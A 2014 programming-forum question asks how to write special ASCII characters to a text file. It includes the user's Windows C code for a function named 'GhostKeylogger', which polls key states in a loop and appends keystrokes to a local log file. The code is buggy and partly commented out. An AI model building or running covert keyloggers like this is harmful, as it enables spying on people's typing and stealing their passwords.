Switch to full style
For C/C++ coders discussions and solutions
Post a reply

How to save in a file the ASCII Characters? Like "☺"

Thu Nov 06, 2014 2:06 am

Its possible to save in a txt the ascii characters? How?

In this example i made it the rest of the code, i just need to know how to fprint those characters.

Is possible to make a way (like a for, or while) to print every symbol when someone press the correct combination (alt+number) ?

Consider the following: I know there is a better way to make this (you know, without using GetAsyncKeyState) using the hooks, lpwords, and some strange functions (bool declarations,maybe keyevents) anyway. I dont know how to use that, so please if its really necessary, ill make another thread asking for that.

PD:sorry for my bad english. Im from Argentina.

Heres my code:

Code:
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32];

void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
      
      /*   if(GetAsyncKeyState(i)==-32767){ 
            
         
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "[%c]", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales);
           
               }   */
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
                 {
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
             {
             fprintf(txt,"~"); break;
            }}
            
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////   
      
            if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
            {
               fprintf(txt,"%c\t",0x01);
                     
         }
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
      
   }
}

int main(){
   
   FILE *txt;
    while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}




Post a reply
  Related Posts  to : How to save in a file the ASCII Characters? Like "☺"
 Make your own Visual Basic 6 Version of "Tail for windows"     -  
 Program for "Selection of arithmetic operations" in Java     -  
 Invalid unicode sequence error ("u")     -  
 help for "Note pad code in java"     -  
 How to add "Description" on every topics ?     -  
 @SuppressWarnings("unchecked")     -  
 Free "tail -f" Tool for all Platforms: Tail for Windows, Tai     -  
 Unicode, ASCII, UTF-16, and UTF-8 characters in java     -  
 how to write a "c' program on fibannoic series     -  
 Save Image to a file in ITK     -